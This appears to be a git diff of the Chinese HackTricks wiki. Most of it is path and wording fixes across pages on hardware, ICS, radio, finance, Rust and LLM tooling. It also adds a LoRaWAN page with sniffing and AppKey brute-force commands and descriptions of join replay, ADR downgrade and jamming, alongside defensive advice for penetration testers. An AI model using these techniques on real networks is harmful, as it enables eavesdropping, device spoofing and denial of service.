找到 **更多 SVG 载荷在** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
|
||||
|
||||
## 其他 JS 技巧与相关信息
|
||||
## 杂项 JS 技巧与相关信息
|
||||
|
||||
{{#ref}}
|
||||
other-js-tricks.md
|
||||
|
@ -1,9 +1,9 @@
|
||||
# Fault Injection Attacks
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
故障注入攻击包括在电子电路中引入外部干扰以影响其行为,从而导致信息泄露或甚至绕过电路中的某些限制。这种攻击为攻击电子电路打开了许多可能性。这种攻击也被称为电子电路的故障。
|
||||
|
||||
有很多方法和媒介可以将故障注入到电子电路中。
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,11 +1,11 @@
|
||||
# 侧信道分析攻击
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
侧信道分析攻击是指通过其他渠道或来源来确定设备或实体的信息,这些渠道或来源对其有间接影响,并且可以从中提取信息。这可以通过一个例子更好地解释:
|
||||
|
||||
分析靠近声源的玻璃板的振动,但声源是不可接触的。玻璃中的振动受到声源的影响,如果进行监测和分析,可以解码和解释声音。
|
||||
|
||||
这些攻击在泄露数据(如私钥)或查找处理器中的操作时非常流行。电子电路有很多渠道,从中不断泄露信息。监测和分析可以用于披露关于电路及其内部的很多信息。
|
||||
这些攻击在泄露数据(如私钥)或查找处理器中的操作时非常流行。电子电路有很多渠道,从中信息不断泄露。监测和分析可以用于披露关于电路及其内部的很多信息。
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,19 +1,19 @@
|
||||
# 工业控制系统黑客技术
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## 关于本节
|
||||
|
||||
本节包含有关工业控制系统的所有内容,包括概念以及利用各种安全问题进行黑客攻击的方法论。
|
||||
本节包含有关工业控制系统的所有内容,包括概念以及利用各种安全问题进行黑客攻击的方法。
|
||||
|
||||
工业控制系统无处不在,因为工业对国家的经济发展至关重要。但这些ICS难以更新,且在该领域的进展较少。因此,发现安全漏洞在这里很常见。这里使用的大多数协议和标准是在90年代开发的,与当前的攻击场景相比,能力较弱。
|
||||
|
||||
保护这些系统变得至关重要,因为破坏它们可能会造成巨大的经济损失,甚至在最坏的情况下危及生命。要理解工业控制系统的安全性,了解它们的内部结构是必要的。
|
||||
保护这些系统变得重要,因为破坏它们可能会造成巨大的经济损失,甚至在最坏的情况下危及生命。要理解工业控制系统的安全性,了解它们的内部结构是必要的。
|
||||
|
||||
由于工业控制系统是按照设定标准安装的,了解每个组件将有助于互联控制系统中的其他机制。这些设备如PLC和SCADA系统的安装在各个行业中有所不同,因此信息收集至关重要。
|
||||
由于工业控制系统是按照设定标准安装的,了解每个组件将有助于将控制系统中的其他机制互联。像PLC和SCADA系统这样的设备在不同工业中的安装方式各异,因此信息收集至关重要。
|
||||
|
||||
工业控制系统有时可能会很复杂,因此在进行任何操作时需要耐心。在计划攻击和开发任何漏洞之前,所有的工作都是关于探测和侦察。
|
||||
工业控制系统有时可能会很复杂,因此在进行任何操作时需要大量耐心。在计划攻击和开发任何漏洞之前,所有的工作都是关于探测和侦察。
|
||||
|
||||
这些技术也可以用于防御攻击和工业控制系统的蓝队工作。
|
||||
这些技术也可以用于保护工业控制系统免受攻击和进行蓝队防御。
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,6 +1,6 @@
|
||||
# Modbus协议
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Modbus协议简介
|
||||
|
||||
@ -32,4 +32,4 @@ ModBus协议通过传输特定的功能代码来操作PLC和各种控制设备
|
||||
|
||||
由于其大规模使用和缺乏升级,攻击Modbus提供了显著的优势,具有广泛的攻击面。ICS高度依赖设备之间的通信,任何对它们的攻击都可能对工业系统的操作造成危险。如果攻击者识别出传输媒介,可以进行重放、数据注入、数据嗅探和泄露、拒绝服务、数据伪造等攻击。
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,6 +1,6 @@
|
||||
# 投资术语
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## 现货
|
||||
|
||||
@ -46,23 +46,23 @@
|
||||
|
||||
## 期货与期权的区别
|
||||
|
||||
期货和期权之间的主要区别在于合同对买方是可选的:他可以决定是否执行(通常只有在他能从中获益时才会执行)。如果买方希望使用期权,卖方必须出售。\
|
||||
然而,买方将向卖方支付一些费用以开启期权(因此卖方,表面上承担更多风险,开始赚取一些钱)。
|
||||
期货和期权之间的主要区别在于合同对买方是可选的:他可以决定是否执行(通常只有在他能从中受益时才会执行)。如果买方希望使用期权,卖方必须出售。\
|
||||
然而,买方将向卖方支付一些费用以开设期权(因此,表面上承担更多风险的卖方开始赚取一些钱)。
|
||||
|
||||
### 1. **义务与权利:**
|
||||
|
||||
* **期货:** 当您买入或卖出期货合同时,您正在进入一个**具有约束力的协议**,以在未来某个日期以特定价格买入或卖出资产。买方和卖方都**有义务**在到期时履行合同(除非合同在此之前关闭)。
|
||||
* **期权:** 对于期权,您有**权利,但没有义务**,在特定价格之前或在特定到期日以特定价格买入(在**看涨期权**的情况下)或卖出(在**看跌期权**的情况下)资产。**买方**有选择执行的权利,而**卖方**在买方决定行使期权时有义务完成交易。
|
||||
* **期权:** 在期权中,您有**权利,但没有义务**,在特定价格之前或在某个到期日以特定价格买入(在**看涨期权**的情况下)或卖出(在**看跌期权**的情况下)资产。**买方**有选择执行的权利,而**卖方**在买方决定行使期权时有义务完成交易。
|
||||
|
||||
### 2. **风险:**
|
||||
|
||||
* **期货:** 买方和卖方都承担**无限风险**,因为他们有义务完成合同。风险是到期时约定价格与市场价格之间的差额。
|
||||
* **期权:** 买方的风险仅限于为购买期权支付的**权利金**。如果市场没有朝着期权持有者有利的方向移动,他们可以简单地让期权到期。然而,期权的**卖方**(写手)在市场大幅不利于他们时面临无限风险。
|
||||
* **期货:** 买方和卖方都承担**无限风险**,因为他们有义务完成合同。风险是到期日约定价格与市场价格之间的差额。
|
||||
* **期权:** 买方的风险限于为购买期权支付的**权利金**。如果市场没有朝着期权持有者有利的方向移动,他们可以简单地让期权到期。然而,期权的**卖方**(写手)在市场大幅不利于他们时面临无限风险。
|
||||
|
||||
### 3. **成本:**
|
||||
|
||||
* **期货:** 除了持有头寸所需的保证金外,没有其他前期成本,因为买方和卖方都有义务完成交易。
|
||||
* **期权:** 买方必须为行使期权的权利提前支付**期权权利金**。这个权利金本质上是期权的成本。
|
||||
* **期权:** 买方必须为行使期权支付**期权权利金**。这个权利金本质上是期权的成本。
|
||||
|
||||
### 4. **利润潜力:**
|
||||
|
||||
@ -71,4 +71,4 @@
|
||||
|
||||
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -1,3 +1,3 @@
|
||||
# 无线电黑客
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,14 +1,14 @@
|
||||
# FISSURE - The RF Framework
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
**频率独立的基于SDR的信号理解和逆向工程**
|
||||
|
||||
FISSURE是一个开源的RF和逆向工程框架,旨在适应所有技能水平,具有信号检测和分类、协议发现、攻击执行、IQ操控、漏洞分析、自动化和AI/ML的钩子。该框架旨在促进软件模块、无线电、协议、信号数据、脚本、流程图、参考材料和第三方工具的快速集成。FISSURE是一个工作流程启用器,将软件集中在一个位置,使团队能够轻松跟上进度,同时共享特定Linux发行版的相同经过验证的基线配置。
|
||||
FISSURE是一个开源的RF和逆向工程框架,旨在适合所有技能水平,具有信号检测和分类、协议发现、攻击执行、IQ操控、漏洞分析、自动化和AI/ML的钩子。该框架旨在促进软件模块、无线电、协议、信号数据、脚本、流程图、参考材料和第三方工具的快速集成。FISSURE是一个工作流启用器,将软件集中在一个位置,使团队能够轻松跟上进度,同时共享特定Linux发行版的相同经过验证的基线配置。
|
||||
|
||||
FISSURE包含的框架和工具旨在检测RF能量的存在,理解信号的特性,收集和分析样本,开发传输和/或注入技术,并制作自定义有效载荷或消息。FISSURE包含一个不断增长的协议和信号信息库,以协助识别、数据包制作和模糊测试。在线档案功能可以下载信号文件并构建播放列表,以模拟流量和测试系统。
|
||||
FISSURE包含的框架和工具旨在检测RF能量的存在,理解信号的特性,收集和分析样本,开发传输和/或注入技术,并制作自定义有效载荷或消息。FISSURE包含一个不断增长的协议和信号信息库,以协助识别、数据包制作和模糊测试。在线档案功能可以下载信号文件并构建播放列表以模拟流量和测试系统。
|
||||
|
||||
友好的Python代码库和用户界面使初学者能够快速了解涉及RF和逆向工程的流行工具和技术。网络安全和工程领域的教育工作者可以利用内置材料或利用该框架展示他们自己的实际应用。开发人员和研究人员可以将FISSURE用于日常任务或向更广泛的受众展示他们的前沿解决方案。随着FISSURE在社区中的认知和使用的增长,其能力和所涵盖的技术范围也将扩大。
|
||||
友好的Python代码库和用户界面使初学者能够快速了解涉及RF和逆向工程的流行工具和技术。网络安全和工程领域的教育工作者可以利用内置材料或利用该框架展示他们自己的实际应用。开发人员和研究人员可以将FISSURE用于日常任务或向更广泛的受众展示他们的前沿解决方案。随着FISSURE在社区中的认知和使用的增长,其能力和所涵盖技术的广度也将随之增加。
|
||||
|
||||
**附加信息**
|
||||
|
||||
@ -35,7 +35,7 @@ FISSURE中有三个分支,以便于文件导航并减少代码冗余。Python2
|
||||
|
||||
**进行中(测试版)**
|
||||
|
||||
这些操作系统仍处于测试版状态。它们正在开发中,已知缺少多个功能。安装程序中的项目可能与现有程序冲突或在状态被移除之前无法安装。
|
||||
这些操作系统仍处于测试状态。它们正在开发中,已知缺少多个功能。安装程序中的项目可能与现有程序冲突或在状态被移除之前无法安装。
|
||||
|
||||
| 操作系统 | FISSURE分支 |
|
||||
| :--------------: | :--------------: |
|
||||
@ -72,7 +72,7 @@ fissure
|
||||
```
|
||||
参考FISSURE帮助菜单以获取更多使用细节。
|
||||
|
||||
## 细节
|
||||
## 详细信息
|
||||
|
||||
**组件**
|
||||
|
||||
@ -109,16 +109,16 @@ fissure
|
||||
FISSURE附带了几本有用的指南,以帮助熟悉不同的技术和技巧。许多指南包括使用集成到FISSURE中的各种工具的步骤。
|
||||
|
||||
* [Lesson1: OpenBTS](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Lessons/Markdown/Lesson1\_OpenBTS.md)
|
||||
* [Lesson2: Lua解码器](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Lessons/Markdown/Lesson2\_LuaDissectors.md)
|
||||
* [Lesson3: 声音交换](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Lessons/Markdown/Lesson3\_Sound\_eXchange.md)
|
||||
* [Lesson4: ESP板](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Lessons/Markdown/Lesson4\_ESP\_Boards.md)
|
||||
* [Lesson5: Radiosonde跟踪](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Lessons/Markdown/Lesson5\_Radiosonde\_Tracking.md)
|
||||
* [Lesson2: Lua Dissectors](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Lessons/Markdown/Lesson2\_LuaDissectors.md)
|
||||
* [Lesson3: Sound eXchange](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Lessons/Markdown/Lesson3\_Sound\_eXchange.md)
|
||||
* [Lesson4: ESP Boards](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Lessons/Markdown/Lesson4\_ESP\_Boards.md)
|
||||
* [Lesson5: Radiosonde Tracking](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Lessons/Markdown/Lesson5\_Radiosonde\_Tracking.md)
|
||||
* [Lesson6: RFID](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Lessons/Markdown/Lesson6\_RFID.md)
|
||||
* [Lesson7: 数据类型](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Lessons/Markdown/Lesson7\_Data\_Types.md)
|
||||
* [Lesson8: 自定义GNU Radio模块](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Lessons/Markdown/Lesson8\_Custom\_GNU\_Radio\_Blocks.md)
|
||||
* [Lesson7: Data Types](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Lessons/Markdown/Lesson7\_Data\_Types.md)
|
||||
* [Lesson8: Custom GNU Radio Blocks](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Lessons/Markdown/Lesson8\_Custom\_GNU\_Radio\_Blocks.md)
|
||||
* [Lesson9: TPMS](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Lessons/Markdown/Lesson9\_TPMS.md)
|
||||
* [Lesson10: 无线电考试](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Lessons/Markdown/Lesson10\_Ham\_Radio\_Exams.md)
|
||||
* [Lesson11: Wi-Fi工具](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Lessons/Markdown/Lesson11\_WiFi\_Tools.md)
|
||||
* [Lesson10: Ham Radio Exams](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Lessons/Markdown/Lesson10\_Ham\_Radio\_Exams.md)
|
||||
* [Lesson11: Wi-Fi Tools](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Lessons/Markdown/Lesson11\_WiFi\_Tools.md)
|
||||
|
||||
## 路线图
|
||||
|
||||
@ -141,13 +141,13 @@ FISSURE附带了几本有用的指南,以帮助熟悉不同的技术和技巧
|
||||
* Python中的IQ分析脚本
|
||||
* 安装修正和改进
|
||||
|
||||
对FISSURE的贡献对于加速其开发至关重要。您所做的任何贡献都将受到高度赞赏。如果您希望通过代码开发进行贡献,请先fork该仓库并创建一个pull请求:
|
||||
对FISSURE的贡献对于加速其开发至关重要。您所做的任何贡献都将受到高度赞赏。如果您希望通过代码开发进行贡献,请先fork该仓库并创建一个pull request:
|
||||
|
||||
1. Fork项目
|
||||
2. 创建您的功能分支(`git checkout -b feature/AmazingFeature`)
|
||||
3. 提交您的更改(`git commit -m 'Add some AmazingFeature'`)
|
||||
4. 推送到分支(`git push origin feature/AmazingFeature`)
|
||||
5. 打开一个pull请求
|
||||
5. 打开一个pull request
|
||||
|
||||
创建[问题](https://github.com/ainfosec/FISSURE/issues)以引起对错误的关注也是受欢迎的。
|
||||
|
||||
@ -165,7 +165,7 @@ GPL-3.0
|
||||
|
||||
加入Discord服务器:[https://discord.gg/JZDs5sgxcG](https://discord.gg/JZDs5sgxcG)
|
||||
|
||||
在Twitter上关注:[ @FissureRF](https://twitter.com/fissurerf), [ @AinfoSec](https://twitter.com/ainfosec)
|
||||
在Twitter上关注:[ @FissureRF](https://twitter.com/fissurerf), [@AinfoSec](https://twitter.com/ainfosec)
|
||||
|
||||
Chris Poore - Assured Information Security, Inc. - poorec@ainfosec.com
|
||||
|
||||
@ -183,4 +183,4 @@ Chris Poore - Assured Information Security, Inc. - poorec@ainfosec.com
|
||||
|
||||
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -4,13 +4,92 @@
|
||||
|
||||
## 介绍
|
||||
|
||||
**低功耗广域网** (LPWAN) 是一组无线、低功耗、广域网技术,旨在实现**长距离通信**,并具有低比特率。\
|
||||
它们的通信距离可以超过**六英里**,其**电池**寿命可达**20年**。
|
||||
**低功耗广域网** (LPWAN) 是一组无线、低功耗、广域网技术,旨在实现**长距离通信**,并具有低比特率。
|
||||
它们的通信范围可超过**六英里**,其**电池**寿命可达**20年**。
|
||||
|
||||
长距离 (**LoRa**) 在多个国家中很受欢迎,并具有一个名为 **LoRaWAN** 的开源规范。
|
||||
长距离 (**LoRa**) 目前是部署最广泛的 LPWAN 物理层,其开放的 MAC 层规范是 **LoRaWAN**。
|
||||
|
||||
### LPWAN、LoRa 和 LoRaWAN
|
||||
---
|
||||
|
||||
[https://github.com/IOActive/laf](https://github.com/IOActive/laf)
|
||||
## LPWAN、LoRa 和 LoRaWAN
|
||||
|
||||
* LoRa – 由 Semtech 开发的啁啾扩频 (CSS) 物理层(专有但有文档)。
|
||||
* LoRaWAN – 由 LoRa-Alliance 维护的开放 MAC/网络层。版本 1.0.x 和 1.1 在实际应用中较为常见。
|
||||
* 典型架构:*终端设备 → 网关(数据包转发器) → 网络服务器 → 应用服务器*。
|
||||
|
||||
> **安全模型** 依赖于两个 AES-128 根密钥 (AppKey/NwkKey),在 *加入* 过程中(OTAA)派生会话密钥,或是硬编码(ABP)。如果任何密钥泄露,攻击者将获得对相应流量的完全读/写能力。
|
||||
|
||||
---
|
||||
|
||||
## 攻击面总结
|
||||
|
||||
| 层级 | 弱点 | 实际影响 |
|
||||
|-------|----------|------------------|
|
||||
| PHY | 反应性/选择性干扰 | 使用单个 SDR 和 <1 W 输出演示 100% 数据包丢失 |
|
||||
| MAC | 加入接受和数据帧重放(随机数重用,ABP 计数器回滚) | 设备欺骗、消息注入、拒绝服务 |
|
||||
| 网络服务器 | 不安全的数据包转发器、弱 MQTT/UDP 过滤器、过时的网关固件 | 网关上的 RCE → 进入 OT/IT 网络 |
|
||||
| 应用 | 硬编码或可预测的 AppKeys | 暴力破解/解密流量,冒充传感器 |
|
||||
|
||||
---
|
||||
|
||||
## 最近的漏洞 (2023-2025)
|
||||
|
||||
* **CVE-2024-29862** – *ChirpStack gateway-bridge 和 mqtt-forwarder* 接受绕过有状态防火墙规则的 TCP 数据包,导致远程管理接口暴露。分别在 4.0.11 / 4.2.1 中修复。
|
||||
* **Dragino LG01/LG308 系列** – 多个 2022-2024 CVE(例如 2022-45227 目录遍历,2022-45228 CSRF)在 2025 年仍未修补;在数千个公共网关上启用未认证的固件转储或配置覆盖。
|
||||
* Semtech *数据包转发器 UDP* 溢出(未发布的建议,2023-10 修补):构造的上行数据包大于 255 B 触发堆栈溢出 -> 在 SX130x 参考网关上 RCE(由 Black Hat EU 2023 “LoRa Exploitation Reloaded” 发现)。
|
||||
|
||||
---
|
||||
|
||||
## 实用攻击技术
|
||||
|
||||
### 1. 嗅探和解密流量
|
||||
```bash
|
||||
# Capture all channels around 868.3 MHz with an SDR (USRP B205)
|
||||
python3 lorattack/sniffer.py \
|
||||
--freq 868.3e6 --bw 125e3 --rate 1e6 --sf 7 --session smartcity
|
||||
|
||||
# Bruteforce AppKey from captured OTAA join-request/accept pairs
|
||||
python3 lorapwn/bruteforce_join.py --pcap smartcity.pcap --wordlist top1m.txt
|
||||
```
|
||||
### 2. OTAA 加入重放 (DevNonce 重用)
|
||||
|
||||
1. 捕获一个合法的 **JoinRequest**。
|
||||
2. 在原始设备再次传输之前立即重新传输它(或增加 RSSI)。
|
||||
3. 网络服务器分配一个新的 DevAddr 和会话密钥,而目标设备继续使用旧会话 → 攻击者拥有空闲会话并可以注入伪造的上行链路。
|
||||
|
||||
### 3. 自适应数据速率 (ADR) 降级
|
||||
|
||||
强制 SF12/125 kHz 以增加空中时间 → 耗尽网关的占空比(拒绝服务),同时对攻击者的电池影响较小(仅发送网络级 MAC 命令)。
|
||||
|
||||
### 4. 反应式干扰
|
||||
|
||||
运行 GNU Radio 流图的 *HackRF One* 在检测到前导码时触发宽带啁啾 - 阻塞所有扩频因子,发射功率 ≤200 mW;在 2 公里范围内测量到完全中断。
|
||||
|
||||
---
|
||||
|
||||
## 攻击工具 (2025)
|
||||
|
||||
| 工具 | 目的 | 备注 |
|
||||
|------|---------|-------|
|
||||
| **LoRaWAN 审计框架 (LAF)** | 构造/解析/攻击 LoRaWAN 帧,基于数据库的分析器,暴力破解 | Docker 镜像,支持 Semtech UDP 输入 |
|
||||
| **LoRaPWN** | Trend Micro Python 工具,用于暴力 OTAA,生成下行链路,解密有效载荷 | 2023 年发布演示,SDR 无关 |
|
||||
| **LoRAttack** | 多通道嗅探器 + 重放,使用 USRP;导出 PCAP/LoRaTap | 良好的 Wireshark 集成 |
|
||||
| **gr-lora / gr-lorawan** | GNU Radio OOT 块,用于基带 TX/RX | 自定义攻击的基础 |
|
||||
|
||||
---
|
||||
|
||||
## 防御建议 (渗透测试者检查清单)
|
||||
|
||||
1. 优先选择具有真正随机 DevNonce 的 **OTAA** 设备;监控重复项。
|
||||
2. 强制执行 **LoRaWAN 1.1**:32 位帧计数器,独特的 FNwkSIntKey / SNwkSIntKey。
|
||||
3. 将帧计数器存储在非易失性存储器中 (**ABP**) 或迁移到 OTAA。
|
||||
4. 部署 **安全元件** (ATECC608A/SX1262-TRX-SE) 以保护根密钥免受固件提取。
|
||||
5. 禁用远程 UDP 数据包转发端口 (1700/1701) 或使用 WireGuard/VPN 限制。
|
||||
6. 保持网关更新;Kerlink/Dragino 提供 2024 年修补的镜像。
|
||||
7. 实施 **流量异常检测**(例如,LAF 分析器) - 标记计数器重置、重复加入、突然的 ADR 变化。
|
||||
|
||||
## 参考文献
|
||||
|
||||
* LoRaWAN 审计框架 (LAF) – https://github.com/IOActive/laf
|
||||
* Trend Micro LoRaPWN 概述 – https://www.hackster.io/news/trend-micro-finds-lorawan-security-lacking-develops-lorapwn-python-utility-bba60c27d57a
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,6 +1,6 @@
|
||||
# Rust Basics
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
### 泛型
|
||||
|
||||
@ -21,7 +21,7 @@ Wrapper::new("Foo").value, "Foo"
|
||||
```
|
||||
### Option, Some & None
|
||||
|
||||
Option类型意味着值可能是Some类型(有某些东西)或None:
|
||||
Option 类型意味着值可能是 Some 类型(有某些东西)或 None:
|
||||
```rust
|
||||
pub enum Option<T> {
|
||||
None,
|
||||
@ -32,7 +32,7 @@ Some(T),
|
||||
|
||||
### 宏
|
||||
|
||||
宏比函数更强大,因为它们扩展以生成比您手动编写的代码更多的代码。例如,函数签名必须声明函数的参数数量和类型。另一方面,宏可以接受可变数量的参数:我们可以用一个参数调用 `println!("hello")`,或者用两个参数调用 `println!("hello {}", name)`。此外,宏在编译器解释代码含义之前就被扩展,因此宏可以在给定类型上实现一个特征。例如,函数不能这样做,因为它在运行时被调用,而特征需要在编译时实现。
|
||||
宏比函数更强大,因为它们扩展以生成比您手动编写的代码更多的代码。例如,函数签名必须声明函数的参数数量和类型。另一方面,宏可以接受可变数量的参数:我们可以用一个参数调用 `println!("hello")`,或者用两个参数调用 `println!("hello {}", name)`。此外,宏在编译器解释代码含义之前被扩展,因此宏可以例如在给定类型上实现一个 trait。函数则不能,因为它在运行时被调用,而 trait 需要在编译时实现。
|
||||
```rust
|
||||
macro_rules! my_macro {
|
||||
() => {
|
||||
@ -222,7 +222,7 @@ optional = Some(i + 1);
|
||||
// explicitly handling the failing case.
|
||||
}
|
||||
```
|
||||
### 特性
|
||||
### Traits
|
||||
|
||||
为一个类型创建一个新方法
|
||||
```rust
|
||||
@ -256,7 +256,7 @@ assert_ne!(true, false);
|
||||
|
||||
#### Arc
|
||||
|
||||
Arc可以使用Clone来创建对对象的更多引用,以将它们传递给线程。当指向一个值的最后一个引用指针超出作用域时,该变量会被丢弃。
|
||||
Arc 可以使用 Clone 创建更多对对象的引用,以将它们传递给线程。当指向一个值的最后一个引用指针超出作用域时,该变量会被丢弃。
|
||||
```rust
|
||||
use std::sync::Arc;
|
||||
let apple = Arc::new("the same apple");
|
||||
@ -287,4 +287,4 @@ thread::sleep(Duration::from_millis(500));
|
||||
}
|
||||
}
|
||||
```
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -1,6 +1,6 @@
|
||||
# 测试 LLMs
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## 本地运行和训练模型
|
||||
|
||||
@ -19,7 +19,7 @@ LitGPT 是由 Lightning AI 开发的一个项目,利用 Lightning 框架来促
|
||||
### [**LitServe**](https://github.com/Lightning-AI/LitServe)
|
||||
|
||||
**描述:**\
|
||||
LitServe 是 Lightning AI 的一个部署工具,旨在快速高效地部署 AI 模型。它通过提供可扩展和优化的服务能力,简化了 LLM 在实时应用中的集成。
|
||||
LitServe 是 Lightning AI 提供的一个部署工具,旨在快速高效地部署 AI 模型。它通过提供可扩展和优化的服务能力,简化了 LLM 在实时应用中的集成。
|
||||
|
||||
### [**Axolotl**](https://github.com/axolotl-ai-cloud/axolotl)
|
||||
|
||||
@ -33,7 +33,7 @@ Axolotl 是一个基于云的平台,旨在简化 AI 模型(包括 LLM)的
|
||||
它提供几个部分,如:
|
||||
|
||||
* **模型**:一个庞大的 **预训练机器学习模型** 库,用户可以浏览、下载和集成用于文本生成、翻译、图像识别等各种任务的模型。
|
||||
* **数据集:** 一个全面的 **数据集集合**,用于训练和评估模型。它便于访问多样的数据源,使用户能够找到并利用特定机器学习项目所需的数据。
|
||||
* **数据集:** 一个全面的 **数据集集合**,用于训练和评估模型。它便于访问多样的数据源,使用户能够找到并利用数据以满足其特定的机器学习项目。
|
||||
* **空间:** 一个用于托管和共享 **互动机器学习应用程序** 和演示的平台。它允许开发人员 **展示** 他们的模型,创建用户友好的界面,并通过共享实时演示与他人合作。
|
||||
|
||||
## [**TensorFlow Hub**](https://www.tensorflow.org/hub) **&** [**Kaggle**](https://www.kaggle.com/)
|
||||
@ -51,4 +51,4 @@ Axolotl 是一个基于云的平台,旨在简化 AI 模型(包括 LLM)的
|
||||
* **模型:** 一个由社区贡献的机器学习模型库,用户可以浏览、尝试并将模型集成到他们的应用程序中,几乎不需要努力。
|
||||
* **API 访问:** 简单的 API 用于运行模型,使开发人员能够轻松地在自己的应用程序中部署和扩展模型。
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -1,6 +1,6 @@
|
||||
# TimeRoasting
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
timeRoasting,主要原因是微软在其对NTP服务器的扩展中留下的过时身份验证机制,称为MS-SNTP。在该机制中,客户端可以直接使用任何计算机帐户的相对标识符(RID),域控制器将使用计算机帐户的NTLM哈希(由MD4生成)作为生成响应数据包的**消息认证码(MAC)**的密钥。
|
||||
|
||||
@ -13,28 +13,28 @@ timeRoasting,主要原因是微软在其对NTP服务器的扩展中留下的
|
||||
可以看出,当ExtendedAuthenticatorSupported ADM元素设置为`false`时,原始Markdown格式得以保留。
|
||||
|
||||
>原文引用:
|
||||
>>如果ExtendedAuthenticatorSupported ADM元素为false,客户端必须构造一个客户端NTP请求消息。客户端NTP请求消息的长度为68字节。客户端按照2.2.1节的描述设置客户端NTP请求消息的认证字段,将RID值的最低有效31位写入认证字段的密钥标识符子字段的最低有效31位,然后将密钥选择器值写入密钥标识符子字段的最高有效位。
|
||||
>>如果ExtendedAuthenticatorSupported ADM元素为false,则客户端必须构造一个客户端NTP请求消息。客户端NTP请求消息的长度为68字节。客户端按照2.2.1节的描述设置客户端NTP请求消息的认证字段,将RID值的最低有效31位写入认证的密钥标识符子字段的最低有效31位,然后将密钥选择器值写入密钥标识符子字段的最高有效位。
|
||||
|
||||
在文档第4节协议示例第3点
|
||||
|
||||
>原文引用:
|
||||
>>3. 在接收到请求后,服务器验证接收到的消息大小为68字节。如果不是,服务器要么丢弃请求(如果消息大小不等于48字节),要么将其视为未认证请求(如果消息大小为48字节)。假设接收到的消息大小为68字节,服务器从接收到的消息中提取RID。服务器使用它调用NetrLogonComputeServerDigest方法(如[MS-NRPC]第3.5.4.8.2节所规定)来计算加密校验和,并根据接收到的消息中密钥标识符子字段的最高有效位选择加密校验和,如3.2.5节所规定。然后,服务器向客户端发送响应,将密钥标识符字段设置为0,将加密校验和字段设置为计算出的加密校验和。
|
||||
>>3. 在接收到请求后,服务器验证接收到的消息大小为68字节。如果不是,服务器要么丢弃请求(如果消息大小不等于48字节),要么将其视为未认证请求(如果消息大小为48字节)。假设接收到的消息大小为68字节,服务器从接收到的消息中提取RID。服务器使用它调用NetrLogonComputeServerDigest方法(如[MS-NRPC]第3.5.4.8.2节所述)来计算加密校验和,并根据接收到的消息中密钥标识符子字段的最高有效位选择加密校验和,如3.2.5节所述。然后,服务器向客户端发送响应,将密钥标识符字段设置为0,将加密校验和字段设置为计算出的加密校验和。
|
||||
|
||||
根据上述微软官方文档的描述,用户不需要任何身份验证;他们只需填写RID即可发起请求,然后就可以获得加密校验和。加密校验和在文档的3.2.5.1.1节中进行了说明。
|
||||
根据上述微软官方文档的描述,用户不需要任何身份验证;他们只需填写RID以发起请求,然后就可以获得加密校验和。加密校验和在文档的3.2.5.1.1节中进行了说明。
|
||||
|
||||
>原文引用:
|
||||
